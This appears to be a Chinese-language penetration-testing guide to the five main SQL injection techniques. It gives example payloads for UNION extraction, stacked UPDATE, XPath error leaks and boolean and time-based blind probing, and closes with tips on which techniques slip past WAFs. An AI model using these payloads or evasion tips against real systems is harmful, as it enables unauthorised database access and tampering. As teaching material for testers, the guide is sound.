在執行 SQL Injection 時,需針對不同的資料庫環境與防護機制採取相應的注入策略。本文參考 SQLmap 識別的五大技術維度,整理了從直觀的資料擷取到隱蔽的盲測技術,並提供具體 Payload 範例,作為滲透測試時的實戰參考指南。
常見的SQL injection有以下幾類
- UNION query SQL injection
- Stacked queries SQL injection
- Error-based SQL injection
- Boolean-based blind SQL injection
- Time-based blind SQL injection
refer
https://www.slideshare.net/hugolu/sql-injection-61608454
https://www.cnblogs.com/leftshine/p/SQLInjection.html
https://yangxikun.github.io/web%E5%AE%89%E5%85%A8/2015/11/21/sql-inject-type.html
UNION query SQL injection
使⽤UNION 將另一段SELECT指令掛在正常輸⼊後⾯, 以撈出各種資訊
ex:
假設原SQL如下
SELECT * FROM testsql WHERE id=1
對id注入以下攻擊字串
1 UNION ALL SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
會構造新的sql以撈取敏感資訊
SELECT * FROM testsql WHERE id=1UNION ALL SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
Stacked queries SQL injection
可以執行多個SQL, 這表示可以對資料庫做更新插入等危險操作
ex:
假設原SQL如下
SELECT * FROM testsql WHERE id=1
對id注入以下攻擊字串
1 ;UPDATE testsql SET id = 0
會構造以下新的SQL新增內容
SELECT * FROM testsql WHERE id=1;UPDATE testsql SET id = 0
Error-based SQL injection
如果頁面能輸出SQL錯誤訊息,就可以從中獲得想要的資訊
常見技巧包括
- xpath語法錯誤, ex:extractvalue(),updatexml()
- 主鍵重複, ex: group by的duplicate entry
- 其他
ex:
extractValue(xml_frag, xpath_expr)
使用XPath表示法從XML字串中提取值
正確用法,尋找前一段xml文件內容中的a節點下的b節點
SELECT ExtractValue('< a>< b>< b/>< /a>', '/a/b');
攻擊用法,用version()的返回值構造語法錯誤
SELECT ExtractValue('< a>< b>< b/>< /a>', concat('=',(select version())));
返回以下錯誤,並成功得到version()的返回值
XPATH syntax error: '=5.5.53'
refer
https://zhuanlan.zhihu.com/p/74907340
https://www.jishuwen.com/d/2Rt2/zh-tw
Content-based/Boolean-based blind SQL injection
根據資料庫的是否有回覆訊息來判斷是否有弱點
ex:
假設原sql如下
SELECT * FROM testsql WHERE id=1 LIMIT 0,1;
注入ID變數猜測資料版本是否為4.x
1 and substring(version(),1,1)=4--
構造sql如下,如果正常輸出資料代表猜對,如果不是則猜錯
SELECT * FROM testsql WHERE id=1 and substring(version(), 1,1)=4-- LIMIT 0,1
Time-based blind SQL injection
根據資料庫的回覆的快慢來判斷是否有注入成功
ex:
假設原sql如下
SELECT * FROM testsql WHERE id=1 LIMIT 0,1;
注入ID變數猜測資料版本是否為5.x
1 and if( substring(version(),1,1)=5,sleep(50),1) --
構造sql如下,如果50秒後才輸出變慢代表猜對,如果不是則猜錯
SELECT * FROM testsql WHERE id=1 and if( substring(version(),1,1)=5,sleep(50),1) -- LIMIT 0,1;
refer
https://blog.csdn.net/hacker234/article/details/100036013
容易繞過安全設備的類型
多數情境下,B(布林盲注)跟 T(時間盲注)在實戰中繞過成功率會比較高
- 相對比較容易繞過的組合
- T:Time-based blind
- 繞過原理: 它不依賴頁面內容的變化,也不依賴報錯訊息。它唯一的特徵是「延遲回應」。有些 WAF 偵測不到「延遲行為」,只看關鍵字,不容易直接 block。
- 為什麼容易繞過: 許多基礎的 WAF 主要檢查 Request或Response 中的關鍵字(如
UNION SELECT或SQL Error)。 - 很多輕量級 WAF(例如一些 CDN 自帶的基礎防護)主要掃描的是 HTTP Response 的「內容」。因為時間盲注的結果是反應在「時間」而非「回傳字串」,WAF 如果沒有實作「請求回應時長監測」,它根本不知道發生了注入。不過如果工具測試頻率太快,防護設備會發現特定 IP 的回應時間異常拉長,進而直接把該 IP 加入黑名單。
- B:Boolean-based blind
- 繞過原理: 透過觀察頁面回傳內容的微小變化(True vs False)來推斷資料。
- 為什麼容易繞過: Payload 相對簡單(如
AND 1=1),不像 UNION 注入那樣有明顯的結構特徵。如果再經過編碼/大小寫混淆/註解插入等 tamper更難發現,因為很多弱規則只會擋「典型樣本」。 - 此威力在於它可以被縮減得很小。例如
AND 1=1可以換成AND 5>2、OR 'a'<'b',或是利用資料庫的隱含轉換。這種邏輯比對是 WAF 最難寫死規則的地方,因為過度封鎖會導致正常業務(例如某些搜尋功能)發生誤報。
- T:Time-based blind
- 中間地帶
- E:Error-based
- 依賴 DB 把錯誤訊息回傳給前端,例如
XPATH syntax error等。 - 很多 WAF 直接攔常見錯誤訊息或常用帶錯誤的函式,但如果設備只做簡單 signature,且錯誤訊息沒有被遮罩,有時也能成功。
- 依賴 DB 把錯誤訊息回傳給前端,例如
- E:Error-based
- 最容易被擋的兩種
- U:UNION query
- 幾乎所有 WAF 規則庫都會針對
UNION SELECT、UNION ALL SELECT做檢測,signature 非常成熟。 - 即便用 tamper,例如 randomcase、註解插入等,也常被機器學習/語法解析型 WAF 擋掉。
- 幾乎所有 WAF 規則庫都會針對
- S:Stacked queries
- 很多應用伺服器 / 驅動程式本身就不允許多語句,例如
; SELECT ...。 - IPS/WAF 也會把
;之後的可疑語句標成高風險。
- 很多應用伺服器 / 驅動程式本身就不允許多語句,例如
- U:UNION query